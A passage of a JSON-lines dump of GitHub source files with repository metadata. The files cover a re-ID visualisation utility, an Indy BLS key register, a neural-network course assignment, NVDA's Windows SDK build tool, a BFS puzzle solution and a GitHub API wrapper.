grad_out):\n \"\"\"\n If there is a negative gradient, change it to zero\n \"\"\"\n # Get last forward output\n corresponding_forward_output = self.forward_relu_outputs[-1]\n corresponding_forward_output[corresponding_forward_output > 0] = 1\n modified_grad_out = corresponding_forward_output * torch.clamp(grad_in[0], min=0.0)\n del self.forward_relu_outputs[-1] # Remove last forward output\n return (modified_grad_out,)\n\n def relu_forward_hook_function(module, ten_in, ten_out):\n \"\"\"\n Store results of forward pass\n \"\"\"\n self.forward_relu_outputs.append(ten_out)\n\n # Loop through layers, hook up ReLUs\n for pos, module in self.model.named_modules():\n if isinstance(module, nn.ReLU):\n module.register_backward_hook(relu_backward_hook_function)\n module.register_forward_hook(relu_forward_hook_function)\n\n def generate_gradients(self, input_image, target_class, cnn_layer, filter_pos):\n self.model.zero_grad()\n # Forward pass\n x = input_image\n for index, (name, layer) in enumerate(self.model._modules['module'].base._modules.items()):\n # Forward pass layer by layer\n # x is not used after this point because it is only needed to trigger\n # the forward hook function\n x = layer(x)\n # Only need to forward until the selected layer is reached\n if name == cnn_layer:\n # (forward hook function triggered)\n break\n activation = torch.sum(torch.sum(x,dim=3),dim=2)\n _,idx = torch.max(activation,dim=1)\n conv_output = torch.sum(torch.abs(x[0, idx]))\n # Backward pass\n conv_output.backward()\n # Convert Pytorch variable to numpy array\n # [0] to get rid of the first channel (1,3,224,224)\n gradients_as_arr = self.gradients.data.cpu().numpy()[0]\n return gradients_as_arr\n\ndef save_gradient_images(gradient, file_name):\n \"\"\"\n Exports the original gradient image\n\n Args:\n gradient (np arr): Numpy array of the gradient with shape (3, 224, 224)\n file_name (str): File name to be exported\n \"\"\"\n if not os.path.exists('../results'):\n os.makedirs('../results')\n # Normalize\n gradient = gradient - gradient.min()\n gradient /= gradient.max()\n # Save image\n path_to_file = os.path.join('../results', file_name + '.jpg')\n save_image(gradient, path_to_file)\n\ndef convert_to_grayscale(im_as_arr):\n \"\"\"\n Converts 3d image to grayscale\n\n Args:\n im_as_arr (numpy arr): RGB image with shape (D,W,H)\n\n returns:\n grayscale_im (numpy_arr): Grayscale image with shape (1,W,D)\n \"\"\"\n grayscale_im = np.sum(np.abs(im_as_arr), axis=0)\n im_max = np.percentile(grayscale_im, 99)\n im_min = np.min(grayscale_im)\n grayscale_im = (np.clip((grayscale_im - im_min) / (im_max - im_min), 0, 1))\n grayscale_im = np.expand_dims(grayscale_im, axis=0)\n return grayscale_im\n\nfrom PIL import Image\ndef save_image(im, path):\n \"\"\"\n Saves a numpy matrix of shape D(1 or 3) x W x H as an image\n Args:\n im_as_arr (Numpy array): Matrix of shape DxWxH\n path (str): Path to the image\n\n TODO: Streamline image saving, it is ugly.\n \"\"\"\n if isinstance(im, np.ndarray):\n if len(im.shape) == 2:\n im = np.expand_dims(im, axis=0)\n print('A')\n print(im.shape)\n if im.shape[0] == 1:\n # Converting an image with depth = 1 to depth = 3, repeating the same values\n # For some reason PIL complains when I want to save channel image as jpg without\n # additional format in the .save()\n print('B')\n im = np.repeat(im, 3, axis=0)\n print(im.shape)\n # Convert to values to range 1-255 and W,H, D\n # A bandaid fix to an issue with gradcam\n if im.shape[0] == 3 and np.max(im) == 1:\n im = im.transpose(1, 2, 0) * 255\n elif im.shape[0] == 3 and np.max(im) > 1:\n im = im.transpose(1, 2, 0)\n im = Image.fromarray(im.astype(np.uint8))\n im.save(path)\n\n\n\n\n\n\n\n","repo_name":"mangye16/ReID-Survey","sub_path":"video-reid-AWG/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7858,"program_lang":"python","lang":"en","doc_type":"code","stars":577,"dataset":"github-code","pt":"32"} +{"seq_id":"35816680885","text":"from logging import getLogger\n\nfrom ursa.bls import VerKey\n\nfrom crypto.bls.bls_key_register import BlsKeyRegister\nfrom crypto.bls.indy_crypto.bls_crypto_indy_crypto import IndyCryptoBlsUtils\nfrom plenum.common.constants import BLS_KEY, BLS_KEY_PROOF, ALIAS\n\nlogger = getLogger()\n\n\nclass BlsKeyRegisterPoolManager(BlsKeyRegister):\n def __init__(self, node):\n self._node = node\n # since pool state isn't changed very often, we cache keys corresponded\n # to the pool_state to not get them from the state trie each time\n self._current_bls_keys = {} # {node_name : BLS key}\n self._current_pool_state_root_hash = None\n\n def get_pool_root_hash_committed(self):\n return self._node.poolManager.state.committedHeadHash\n\n def get_key_by_name(self, node_name, pool_state_root_hash=None) -> VerKey:\n if not pool_state_root_hash:\n pool_state_root_hash = self.get_pool_root_hash_committed()\n\n if self._current_pool_state_root_hash != pool_state_root_hash:\n self._current_pool_state_root_hash = pool_state_root_hash\n self._load_keys_for_root(pool_state_root_hash)\n\n return self._current_bls_keys.get(node_name, None)\n\n def _load_keys_for_root(self, pool_state_root_hash):\n self._current_bls_keys = {}\n for data in self._node.write_manager.get_all_node_data_for_root_hash(\n pool_state_root_hash):\n node_name = data[ALIAS]\n if BLS_KEY not in data:\n continue\n\n if not self._node.poolManager.config.VALIDATE_BLS_SIGNATURE_WITHOUT_KEY_PROOF and \\\n data.get(BLS_KEY_PROOF, None) is None:\n logger.warning(\"{} has no proof of possession for BLS public key.\".format(node_name))\n self._current_bls_keys[node_name] = None\n continue\n\n key_str = data.get(BLS_KEY, None)\n if key_str is None:\n self._current_bls_keys[node_name] = None\n continue\n\n key_bls = IndyCryptoBlsUtils.bls_from_str(key_str, cls=VerKey)\n self._current_bls_keys[node_name] = key_bls\n","repo_name":"hyperledger/indy-plenum","sub_path":"plenum/bls/bls_key_register_pool_manager.py","file_name":"bls_key_register_pool_manager.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","stars":210,"dataset":"github-code","pt":"32"} +{"seq_id":"9561635186","text":"import os\nimport time\n\n\ndef watch_file_for_keyword(file_path, keyword, interval):\n try:\n last_size = 0\n\n while True:\n if os.path.exists(file_path):\n current_size = os.path.getsize(file_path)\n if current_size > last_size:\n with open(file_path, \"r\") as file:\n file_contents = file.read()\n print(file_contents)\n if keyword in file_contents:\n print(f\"キーワード '{keyword}' がファイル内で見つかりました\")\n last_size = current_size\n\n time.sleep(interval)\n\n except Exception as e:\n print(f\"エラーが発生しました: {e}\")\n\n\nfile_path = input(\"監視対象のファイルのパス: \")\nkeyword = input(\"検出したいキーワード: \")\ninterval = int(input(\"ファイルを定期的にチェックする間隔(秒): \"))\n\nwatch_file_for_keyword(file_path, keyword, interval)\n","repo_name":"yowatanabe/learn-to-code","sub_path":"python/071/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33491218830","text":"#####################################################################################################################\n# CS 6375.003 - Assignment 3, Neural Network Programming\n# This is a starter code in Python 3.6 for a 2-hidden-layer neural network.\n# You need to have numpy and pandas installed before running this code.\n# Below are the meaning of symbols:\n# train - training dataset - can be a link to a URL or a local file\n# - you can assume the last column will the label column\n# train - test dataset - can be a link to a URL or a local file\n# - you can assume the last column will the label column\n# h1 - number of neurons in the first hidden layer\n# h2 - number of neurons in the second hidden layer\n# X - vector of features for each instance\n# y - output for each instance\n# w01, delta01, X01 - weights, updates and outputs for connection from layer 0 (input) to layer 1 (first hidden)\n# w12, delata12, X12 - weights, updates and outputs for connection from layer 1 (first hidden) to layer 2 (second hidden)\n# w23, delta23, X23 - weights, updates and outputs for connection from layer 2 (second hidden) to layer 3 (output layer)\n#\n# You need to complete all TODO marked sections\n# You are free to modify this code in any way you want, but need to mention it in the README file.\n#\n#####################################################################################################################\n\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.metrics import accuracy_score\n\nclass NeuralNet:\n\n def __init__(self, train, header = True, h1 = 20, h2 = 10, activation = 'sigmoid'):\n np.random.seed(1)\n # train refers to the training dataset\n # test refers to the testing dataset\n # h1 and h2 represent the number of nodes in 1st and 2nd hidden layers\n self.activation = activation\n if header == False:\n raw_input = pd.read_csv(train, na_values=['?', ' ?'], header=None)\n else:\n raw_input = pd.read_csv(train, na_values=['?', ' ?'])\n # TODO: Remember to implement the preprocess method\n dataset = self.preprocess(raw_input)\n ncols = len(dataset.columns)\n nrows = len(dataset.index)\n X = dataset.iloc[:, 0:(ncols - 1)].values.reshape(nrows, ncols - 1)\n y = dataset.iloc[:, (ncols - 1)].values.reshape(nrows, 1)\n enc = OneHotEncoder()\n y = enc.fit_transform(y).toarray()\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=1)\n self.X = X_train\n self.y = y_train\n self.X_t = X_test\n self.y_t = y_test\n #\n # Find number of input and output layers from the dataset\n #\n input_layer_size = len(self.X[0])\n if not isinstance(self.y[0], np.ndarray):\n output_layer_size = 1\n else:\n output_layer_size = len(self.y[0])\n\n # assign random weights to matrices in network\n # number of weights connecting layers = (no. of nodes in previous layer) x (no. of nodes in following layer)\n self.w01 = 2 * np.random.random((input_layer_size, h1)) - 1\n self.X01 = self.X\n self.delta01 = np.zeros((input_layer_size, h1))\n self.w12 = 2 * np.random.random((h1, h2)) - 1\n self.X12 = np.zeros((len(self.X), h1))\n self.delta12 = np.zeros((h1, h2))\n self.w23 = 2 * np.random.random((h2, output_layer_size)) - 1\n self.X23 = np.zeros((len(self.X), h2))\n self.delta23 = np.zeros((h2, output_layer_size))\n self.deltaOut = np.zeros((output_layer_size, 1))\n #\n # TODO: I have coded the sigmoid activation function, you need to do the same for tanh and ReLu\n #\n\n def __activation(self, x, activation=\"sigmoid\"):\n if activation == \"sigmoid\":\n self.__sigmoid(self, x)\n if activation == \"tanh\":\n self.__tanh(self, x)\n if activation == \"ReLu\":\n self.__ReLu(self, x)\n\n #\n # TODO: Define the function for tanh, ReLu and their derivatives\n #\n\n def __activation_derivative(self, x, activation=\"sigmoid\"):\n if activation == \"sigmoid\":\n self.__sigmoid_derivative(self, x)\n\n if activation == 'tanh':\n self.__tanh_derivative(self, x)\n\n if activation == 'ReLu':\n self.__ReLu_derivative(self, x)\n\n def __sigmoid(self, x):\n return 1 / (1 + np.exp(-x))\n\n # derivative of sigmoid function, indicates confidence about existing weight\n\n def __sigmoid_derivative(self, x):\n return x * (1. - x)\n\n def __tanh(self, x):\n return (np.exp(x) - np.exp(-x)) / (np.exp(x) + np.exp(-x))\n #return 1 / (1 + np.exp(-x))\n\n def __tanh_derivative(self, x):\n return 1. - x * x\n #return x * (1. - x)\n\n def __ReLu(self, x):\n return np.maximum(0, x)\n\n def __ReLu_derivative(self, x):\n x[x <= 0] = 0\n x[x > 0] = 1\n return x\n # return 1. * (x > 0)\n\n\n #\n # TODO: Write code for pre-processing the dataset, which would include standardization, normalization,\n # categorical to numerical, etc\n #\n\n def preprocess(self, X):\n\n # label encode\n X[X.select_dtypes(['object']).columns] = X.select_dtypes(['object']).apply(lambda x: x.astype('category'))\n X[X.select_dtypes(['category']).columns] = X.select_dtypes(['category']).apply(lambda x: x.cat.codes)\n # fill the missing value\n X = X.apply(lambda x: x.fillna(x.value_counts().index[0]))\n #X = X.fillna(X.mean())\n # Standardize data\n scaler = StandardScaler()\n X.iloc[:, :-1] = scaler.fit_transform(X.iloc[:, :-1])\n return X\n\n # Below is the training function\n\n def train(self, max_iterations = 1000, learning_rate = 0.001):\n for iteration in range(max_iterations):\n out = self.forward_pass()\n error = 0.5 * np.power((out - self.y), 2)\n self.backward_pass(out, self.activation)\n update_layer2 = learning_rate * self.X23.T.dot(self.deltaOut)\n update_layer1 = learning_rate * self.X12.T.dot(self.delta23)\n update_input = learning_rate * self.X01.T.dot(self.delta12)\n\n self.w23 += update_layer2\n self.w12 += update_layer1\n self.w01 += update_input\n print(str(np.sum(error)/len(self.X)))\n\n print(\"After \" + str(max_iterations) + \" iterations, the total error is \" + str(np.sum(error/len(self.X))))\n # print(\"The final weight vectors are (starting from input to output layers)\")\n # print(self.w01)\n # print(self.w12)\n # print(self.w23)\n\n def forward_pass(self):\n # pass our inputs through our neural network\n if self.activation == 'sigmoid':\n in1 = np.dot(self.X, self.w01)\n self.X12 = self.__sigmoid(in1)\n in2 = np.dot(self.X12, self.w12)\n self.X23 = self.__sigmoid(in2)\n in3 = np.dot(self.X23, self.w23)\n out = self.__sigmoid(in3)\n if self.activation == 'tanh':\n in1 = np.dot(self.X, self.w01)\n self.X12 = self.__tanh(in1)\n in2 = np.dot(self.X12, self.w12)\n self.X23 = self.__tanh(in2)\n in3 = np.dot(self.X23, self.w23)\n out = self.__tanh(in3)\n if self.activation == 'ReLu':\n in1 = np.dot(self.X, self.w01)\n self.X12 = self.__ReLu(in1)\n in2 = np.dot(self.X12, self.w12)\n self.X23 = self.__ReLu(in2)\n in3 = np.dot(self.X23, self.w23)\n out = self.__ReLu(in3)\n return out\n\n\n\n def backward_pass(self, out, activation):\n # pass our inputs through our neural network\n self.compute_output_delta(out, activation)\n self.compute_hidden_layer2_delta(activation)\n self.compute_hidden_layer1_delta(activation)\n\n # TODO: Implement other activation functions\n\n def compute_output_delta(self, out, activation=\"sigmoid\"):\n if activation == \"sigmoid\":\n delta_output = (self.y - out) * (self.__sigmoid_derivative(out))\n if activation == \"tanh\":\n delta_output = (self.y - out) * (self.__tanh_derivative(out))\n if activation == \"ReLu\":\n delta_output = (self.y - out) * (self.__ReLu_derivative(out))\n\n self.deltaOut = delta_output\n\n # TODO: Implement other activation functions\n\n def compute_hidden_layer2_delta(self, activation=\"sigmoid\"):\n if activation == \"sigmoid\":\n delta_hidden_layer2 = (self.deltaOut.dot(self.w23.T)) * (self.__sigmoid_derivative(self.X23))\n if activation == \"tanh\":\n delta_hidden_layer2 = (self.deltaOut.dot(self.w23.T)) * (self.__tanh_derivative(self.X23))\n if activation == \"ReLu\":\n delta_hidden_layer2 = (self.deltaOut.dot(self.w23.T)) * (self.__ReLu_derivative(self.X23))\n\n self.delta23 = delta_hidden_layer2\n\n # TODO: Implement other activation functions\n\n def compute_hidden_layer1_delta(self, activation=\"sigmoid\"):\n if activation == \"sigmoid\":\n delta_hidden_layer1 = (self.delta23.dot(self.w12.T)) * (self.__sigmoid_derivative(self.X12))\n if activation == \"tanh\":\n delta_hidden_layer1 = (self.delta23.dot(self.w12.T)) * (self.__tanh_derivative(self.X12))\n if activation == \"ReLu\":\n delta_hidden_layer1 = (self.delta23.dot(self.w12.T)) * (self.__ReLu_derivative(self.X12))\n\n self.delta12 = delta_hidden_layer1\n\n # TODO: Implement other activation functions\n\n def compute_input_layer_delta(self, activation=\"sigmoid\"):\n if activation == \"sigmoid\":\n delta_input_layer = np.multiply(self.__sigmoid_derivative(self.X01), self.delta01.dot(self.w01.T))\n if activation == \"tanh\":\n delta_input_layer = np.multiply(self.__tanh_derivative(self.X01), self.delta01.dot(self.w01.T))\n if activation == \"ReLu\":\n delta_input_layer = np.multiply(self.__ReLu_derivative(self.X01), self.delta01.dot(self.w01.T))\n\n self.delta01 = delta_input_layer\n\n # TODO: Implement the predict function for applying the trained model on the test dataset.\n # You can assume that the test dataset has the same format as the training dataset\n # You have to output the test error from this function\n\n def predict(self, test=None, header = True):\n if test == None:\n self.X = self.X_t\n self.y = self.y_t\n else:\n if header == False:\n raw_input = pd.read_csv(test, na_values='?', header=None)\n else:\n raw_input = pd.read_csv(test, na_values='?')\n test_dataset = self.preprocess(raw_input)\n ncols = len(test_dataset.columns)\n nrows = len(test_dataset.index)\n self.X = test_dataset.iloc[:, 0:(ncols -1)].values.reshape(nrows, ncols-1)\n self.y = test_dataset.iloc[:, (ncols-1)].values.reshape(nrows, 1)\n enc = OneHotEncoder()\n self.y = enc.fit_transform(self.y).toarray()\n out = self.forward_pass()\n out = (out == out.max(axis=1, keepdims=1)).astype(int)\n return accuracy_score(self.y, out)\n\nif __name__ == \"__main__\":\n url_iris = 'https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data'\n url_car = 'https://archive.ics.uci.edu/ml/machine-learning-databases/car/car.data'\n url_adult = 'https://archive.ics.uci.edu/ml/machine-learning-databases/adult/adult.data'\n #url = 'train.csv'\n print('Welcome to ML6375 Neural Network!')\n flag = True\n while flag:\n data = int(input('Which data do you want to use?\\n[1] iris.data [2] car.data [3] adult.data [4] I want my own data'))\n if data == 1:\n url = url_iris\n flag = False\n elif data == 2:\n url = url_car\n flag = False\n elif data == 3:\n url = url_adult\n flag = False\n elif data == 4:\n url = str(input('Please write or paste the path or url'))\n flag = False\n flag = True\n while flag:\n data = int(input('Which activation do you want to use?\\n[1] sigmoid [2] tanh [3] ReLu'))\n if data == 1:\n activation = 'sigmoid'\n flag = False\n elif data == 2:\n activation = 'tanh'\n flag = False\n elif data == 3:\n activation = 'ReLu'\n flag = False\n h1 = int(input('Please input first hidden layer size\\n'))\n h2 = int(input('Please input second hidden layer size\\n'))\n learing_rate = float(input('Please input learing_rate\\n'))\n iteration = int(input('Please input max_iteration\\n'))\n\n neural_network = NeuralNet(url, False, activation=activation, h1=h1, h2=h2)\n neural_network.train(learning_rate=learing_rate, max_iterations=iteration)\n testError = neural_network.predict()\n print(\"accuracy\")\n print(testError)\n\n\n","repo_name":"super468/ML6375","sub_path":"assignment3/NeuralNet.py","file_name":"NeuralNet.py","file_ext":"py","file_size_in_byte":13120,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"38791807427","text":"from pathlib import Path\nfrom typing import Dict\n\nfrom setuptools import find_packages, setup\n\n_HERE = Path(__file__).parent\n_PATH_VERSION = _HERE / \"blockchain_task\" / \"__version__.py\"\n\nabout: Dict[str, str] = dict()\nexec(_PATH_VERSION.read_text(), about)\n\nlong_description = Path(_HERE, \"README.md\").read_text()\n\nsetup(\n name=about[\"__title__\"],\n version=about[\"__version__\"],\n description=about[\"__description__\"],\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n classifiers=[\n \"License :: OSI Approved :: MIT Licence\",\n \"Development Status :: 3 - Alpha\",\n \"Programming Language :: Python :: 3.8\",\n \"Intended Audience :: Developers\",\n \"Natural Language :: English\",\n \"Operating System :: OS Independent\",\n ],\n keywords=\"\",\n author=about[\"__author__\"],\n author_email=\"\",\n license=\"\",\n python_requires=\">=3.8\",\n packages=find_packages(),\n include_package_data=True,\n zip_safe=False,\n entry_points={},\n)\n","repo_name":"antyan001/blockchain-mle-task","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31726799503","text":"\"\"\"\n从data文件夹中读出so和sner数据集\n适应CONLL、BC5CDR的格式\n\"\"\"\n\nimport os\n\n\n# def so_data():\n# train = \"dataset/data/annotated_ner_data/StackOverflow/train.txt\"\n# test = \"dataset/data/annotated_ner_data/StackOverflow/test.txt\"\n#\n#\n\n\ndef sner_data():\n s_train_dir = \"dataset/data/Annotated_training_testing_data/trainset\"\n s_test_dir = \"dataset/data/Annotated_training_testing_data/testset\"\n s_train_files = os.listdir(s_train_dir)\n s_train_files = [os.path.join(s_train_dir, x) for x in s_train_files]\n s_test_files = os.listdir(s_test_dir)\n s_test_files = [os.path.join(s_test_dir, x) for x in s_test_files]\n train_data = list()\n test_data = list()\n for f in s_train_files:\n with open(f, 'r') as fr:\n for line in fr.readlines():\n train_data.append(line)\n\n for f in s_test_files:\n with open(f, 'r') as fr:\n for line in fr.readlines():\n test_data.append(line)\n\n t_dir = \"dataset/SNER\"\n if not os.path.exists(t_dir):\n os.makedirs(t_dir)\n t_train_file = os.path.join(t_dir, \"train.txt\")\n t_test_file = os.path.join(t_dir, \"test.txt\")\n with open(t_train_file, \"w\") as fw:\n fw.writelines(train_data)\n with open(t_test_file, \"w\") as fw:\n fw.writelines(test_data)\n\n\nif __name__ == '__main__':\n # so_data()\n sner_data()\n","repo_name":"xzk-seu/xzk_thesis_code","sub_path":"dataset/soft_data.py","file_name":"soft_data.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7321607726","text":"###\r\n#This file is a part of the NVDA project.\r\n#URL: http://www.nvda-project.org/\r\n#Copyright 2006-2010 NVDA contributers.\r\n#This program is free software: you can redistribute it and/or modify\r\n#it under the terms of the GNU General Public License version 2.0, as published by\r\n#the Free Software Foundation.\r\n#This program is distributed in the hope that it will be useful,\r\n#but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\r\n#This license can be found at:\r\n#http://www.gnu.org/licenses/old-licenses/gpl-2.0.html\r\n###\r\n\r\nimport subprocess\r\nimport _winreg\r\nimport os\r\nfrom SCons.Tool.MSCommon import common\r\nfrom SCons.Tool import msvc\r\n\r\n#Forecefully disable MSVC detection and path setup\r\n#msvc.msvc_setup_env_once=lambda env: False\r\n#msvc.msvc_exists=lambda: True\r\n\r\nscriptSwitchByTargetArch={\r\n\t'x86':'/x86',\r\n\t'x86_64':'/x64',\r\n\t'amd64':'/x64',\r\n\t'ia64':'/ia64',\r\n}\r\n\r\ndef fetchSDKVars(targetArch,versionString):\r\n\tcommon.debug(\"windowsSdk.py, fetchSDKVars: Searching for SDK %s\"%versionString)\r\n\tarchSwitch=scriptSwitchByTargetArch.get(targetArch)\r\n\tif not archSwitch:\r\n\t\tcommon.debug(\"windowsSdk.py, fetchSDKVars: Unsupported target arch: %s\"%targetArch)\r\n\ttry:\r\n\t\tversionKey=_winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,r'SOFTWARE\\Microsoft\\Microsoft SDKs\\Windows\\%s'%versionString)\r\n\texcept Exception as e:\r\n\t\tcommon.debug(\"windowsSdk.py, fetchSDKVars: failed to open registry key for version %s: %s\"%(versionString,e))\r\n\t\treturn\r\n\ttry:\r\n\t\tinstallDir=_winreg.QueryValueEx(versionKey,\"InstallationFolder\")[0]\r\n\texcept Exception as e:\r\n\t\tcommon.debug(\"windowsSdk.py, fetchSDKVars: no InstallationFolder value in registry key: %s: %s\"%(v,e))\r\n\t\treturn\r\n\tif versionString=='v7.1A':\r\n\t\t#V7.1A (comes with vc2012) does not come with a batch file \r\n\t\td=dict(PATH=os.path.join(installDir,'bin'),INCLUDE=os.path.join(installDir,'include'),LIB=os.path.join(installDir,'lib'))\r\n\t\tif targetArch in ('x86_64','amd64'):\r\n\t\t\td['PATH']=os.path.join(d['PATH'],'x64')\r\n\t\t\td['LIB']=os.path.join(d['LIB'],'x64')\r\n\t\treturn d\r\n\tscriptPath=os.path.join(installDir,os.path.join('bin','setenv.cmd'))\r\n\tif not os.path.isfile(scriptPath):\r\n\t\tcommon.debug(\"windowsSdk.py, fetchSDKVars: Script %s does not exist\"%scriptPath)\r\n\t\treturn\r\n\tp=subprocess.Popen(['cmd','/V','/c',scriptPath,archSwitch,'&&','set'],stdout=subprocess.PIPE,stderr=subprocess.PIPE)\r\n\tstdout,stderr=p.communicate()\r\n\ttry:\r\n\t\treturn common.parse_output(stdout)\r\n\texcept Exception as e:\r\n\t\tcommon.debug(\"windowsSdk.py, fetchSDKVars: Error parsing script output: %s\"%e)\r\n\t\treturn\r\n\tcommon.debug(\"windowsSdk.py, fetchSDKVars: No suitable SDK could be used\")\r\n\r\ndef exists(env):\r\n\treturn True\r\n\r\ndef generate(env):\r\n\ttargetArch=env.get('TARGET_ARCH','x86')\r\n\td=fetchSDKVars(targetArch,'v7.1A')\r\n\tif d:\r\n\t\tenv.Append(CPPDEFINES='_USING_V110_SDK71_')\r\n\t\tif targetArch.endswith('64'):\r\n\t\t\tenv.Append(LINKFLAGS=[env['LINKFLAGS'],'/SUBSYSTEM:WINDOWS,5.02'])\r\n\t\telse:\r\n\t\t\t# #3730: VC2012 uses SSE2 by default, but NVDA is still run on some older processers (AMD Athlon etc) which don't support this.\r\n\t\t\tenv.Append(CCFLAGS='/arch:IA32')\r\n\t\t\tenv.Append(LINKFLAGS=[env['LINKFLAGS'],'/SUBSYSTEM:WINDOWS,5.01'])\r\n\tif not d:\r\n\t\td=fetchSDKVars(targetArch,'v7.1')\r\n\tif not d:\r\n\t\td=fetchSDKVars(targetArch,'v7.0')\r\n\tif not d:\r\n\t\tcommon.debug(\"windowsSdk.py, Generate: No suitable SDK could be used\")\r\n\t\traise RuntimeError(\"No usable Windows SDK found\")\r\n\t#msvc.generate(env)\r\n\tfor k, v in d.iteritems():\r\n\t\tenv.PrependENVPath(k,v,delete_existing=True)\r\n\r\n","repo_name":"pcguruuu/git-git.nvaccess.org-nvda","sub_path":"site_scons/site_tools/windowsSdk.py","file_name":"windowsSdk.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"9596599905","text":"import sys\nsys.stdin = open('input.txt')\n\n\nfrom collections import defaultdict\n\nN, M = map(int, input().split())\nshortcut = defaultdict(int)\nfor _ in range(N+M):\n x, y = map(int, input().split())\n shortcut[x] = y\n\n# 주사위 6만 나왔을때 100번 칸 도착까지 굴려야하는 횟수\nres = 100//6\ndef bfs():\n global res\n visit = [1e9]*101\n q = [(1, 0)]\n\n while q:\n num, cnt = q.pop(0)\n # print(num, cnt, q)\n\n # 굴린횟수가 답보다 작은 경우 탐색 중단\n if cnt > res:\n continue\n # 94보다 큰 값 나온 경우 탐색 중단 및 답 갱신\n if num >= 94:\n res = min(res, cnt)\n continue\n\n for i in range(6, 0, -1):\n if shortcut[num+i] > 0:\n next_num = shortcut[num+i]\n else:\n next_num = num+i\n\n # 방문한 숫자 칸에 기록된 굴린 횟수보다 작을 경우 q에 추가\n if visit[next_num] > cnt+1:\n visit[next_num] = cnt+1\n q.append((next_num, cnt+1))\n\nbfs()\nprint(res+1)\n","repo_name":"dw3624/algorithm_practice","sub_path":"백준/16928_뱀과사다리게임/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"22604635590","text":"\"\"\"Github API wrapper using the github3 library\"\"\"\nfrom ast import List\nfrom datetime import datetime\nfrom typing import Any, Tuple\n\nfrom github3 import GitHub, login\nfrom github3.users import AuthenticatedUser\nfrom github3.users import ShortUser\nfrom github3.events import Event\nfrom github3.repos import ShortRepository, Repository\nfrom github3.repos.commit import ShortCommit\nfrom github3.pulls import ShortPullRequest\n\n\ndef get_datetime_str(dt: datetime | str | None) -> dict[str, str]:\n \"\"\"Returns a datetime as a string dictionary with human readable or epoch strings\n\n Args:\n dt (datetime | str | None): The datetime or github formatted time\n\n Returns:\n dict[str, str]: dictionary with human readable or epoch strings\n \"\"\"\n if isinstance(dt, str):\n try:\n dt = datetime.strptime(dt, \"%Y-%m-%dT%H:%M:%SZ\")\n except ValueError:\n dt = None\n\n if isinstance(dt, datetime):\n epoch = str(dt.timestamp())\n day = str(dt.strftime(\"%B %d, %Y\"))\n time = str(dt.strftime(\"%I:%M%p\"))\n return {'day': day, 'time': time, 'epoch': epoch}\n\n return {'human': \"None\", 'epoch': \"0.0\"}\n\n\nclass Github3APIError(Exception):\n \"\"\"Generic Github3 API error\"\"\"\n\n def __init__(self):\n super().__init__(\"Generic Github3 API error\")\n\n\ndef get_user(token: str) -> Tuple[GitHub, AuthenticatedUser]:\n \"\"\"Get a user instance from the API\n\n Args:\n token (str): OAuth token to use\n\n Raises:\n Github3Error: Failed to login or resolve user\n\n Returns:\n AuthenticatedUser: Instance of API User\n \"\"\"\n gh = login(token=token)\n\n if gh is None:\n raise Github3APIError\n\n me = gh.me()\n\n if me is None:\n raise Github3APIError\n\n return gh, me\n\n\ndef str_short_pull_request(pull: ShortPullRequest) -> dict[str, Any]:\n \"\"\"Returns a github3 ShortPullRequest as a string dictionary\n\n Args:\n usr (ShortPullRequest): The given ShortPullRequest\n\n Returns:\n dict[str, Any]: ShortPullRequest as a string dictionary\n \"\"\"\n return {\n 'id': pull.id,\n 'user': pull.user.login,\n 'title': pull.title,\n 'body': pull.body,\n 'created_at': int(pull.created_at.timestamp()) if pull.created_at else 0,\n 'updated_at': int(pull.updated_at.timestamp()) if pull.updated_at else 0,\n }\n\n\ndef str_short_user(usr: ShortUser) -> dict[str, str]:\n \"\"\"Returns a github3 ShortUser as a string dictionary\n\n Args:\n usr (ShortUser): The given ShortUser\n\n Returns:\n dict[str, str]: ShortUser as a string dictionary\n \"\"\"\n return {\n \"id\": str(usr.id),\n \"login\": str(usr.login),\n \"avatar_url\": str(usr.avatar_url),\n \"url\": str(usr.html_url),\n }\n\n\ndef str_short_commit(usr: ShortCommit) -> dict[str, str]:\n \"\"\"Returns a github3 ShortCommit as a string dictionary\n\n Args:\n usr (ShortCommit): The given ShortCommit\n\n Returns:\n dict[str, str]: ShortCommit as a string dictionary\n \"\"\"\n return {\n \"id\": str(usr.id),\n \"login\": str(usr.login),\n \"avatar_url\": str(usr.avatar_url),\n \"url\": str(usr.html_url),\n }\n\n\ndef str_event(event: Event) -> dict[str, str | dict[str, str]]:\n \"\"\"Returns a github3 Event as a string dictionary\n\n Args:\n event (Event): The given Event\n\n Returns:\n dict[str, str | dict[str, str]]: Event as a string dictionary\n \"\"\"\n return {\n \"actor\": event.actor.id,\n \"created_at\": get_datetime_str(event.created_at),\n \"id\": event.id,\n \"org\": event.org.id if event.org else \"None\",\n \"type\": event.type,\n \"payload\": event.payload,\n \"repo\": event.repo,\n \"public\": event.public,\n }\n\n\ndef str_short_repository(repo: ShortRepository) -> dict[str, str | dict[str, str]]:\n \"\"\"Returns a github3 ShortRepository as a string dictionary\n\n Args:\n repo (ShortRepository): The given ShortRepository\n\n Returns:\n dict[str, str | dict[str, str]]: 